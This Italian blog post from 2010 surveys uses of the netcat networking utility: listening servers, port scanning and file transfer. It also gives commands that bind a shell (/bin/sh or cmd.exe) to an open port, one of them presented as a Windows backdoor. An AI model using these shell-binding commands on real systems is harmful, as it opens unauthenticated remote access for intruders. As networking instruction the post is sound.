martedì 7 dicembre 2010

Alcuni utilizzi di Netcat

Netcat è una delle utility più conosciute in ambio di networking, senza dubbio il suo punto di forza consiste nella versatilità, diciamo che in linea di principio è un software che consente di scrivere o leggere dati attraverso connessioni tcp/ip e può essere considerato un utile strumento di debbuging e controllo. Sicuramente questo tool non consente alcune "finezze" proprie di software specializzati per svolgere un determinato compito ma conviene conoscere , almeno a grandi linee, i sui possibili utilizzi poichè in alcune occasioni potrebbe essere utille.In molte distribuzioni linux netcat è installato di default, per windows è possibile scaricarlo a questo indirizzo http://www.downloadnetcat.com/. Come primo esempio vediamo come è possibile creare un semplice server che rimane in ascolto su una determinata porta il comando da utilizzare è:

nc -l -p <porta>

-p è la porta utilizzata per la connessione. Bisogna fare molta attenzione ad utilizzare netcat in questo modo, visto che non è richiesta nessuna autorizzazione per il collegamento. Per connettersi al server in ascolto basta eseguire sul client:

nc <host> <porta>

Per  attivare un terminale remoto senza utilizzare telnet è possibile usare netcat con questa sintassi:

nc -l -p 4000 -e /bin/sh

Mentre come client è possibile utilizzare lo stesso netcat con questa sintassi:

nc <host> 4000

Netcat consente anche di verificare le porte aperte di un host, anche se questo tipo di scansione è rilevabile, il comando è il seguente:

nc -v -z <host> <porte>

Per quanto riguarda il parametro <porte> può essere un semplice elenco (es. 20 80 testa le porte indicate) o anche un intervallo (es 20-23 testa le porte dalla 20 alla 23).A volte può essere utile utilizzare netcat per trasferire file, niente di più semplice sul lato server basta eseguire:

cat file.txt| nc -l -p 4000

Dal lato client per avviare connessione e download, eseguire:

nc <host>  4000 > file.txt

I Possibili utilizzi di netcat non sono affatto finiti, vediamo come è possibile creare una backdoor in windows, eseguire:

nc -l -p <porta> -vv -e cmd.exe

Il comando cmd.exe , eseguito quando il server accetta la connessione del client, restituisce una shell di windows, per connettersi dal client eseguire:

nc <host> <porta> -w

Questa breve panoramica sui possibili utilizzi di netcat spiega i motivi per cui il tool è chiamato "il coltellino svizzero delle reti", se vi occupate di reti vedrete che le occasioni di utilizzarlo non mancheranno.

Nessun commento:

Posta un commento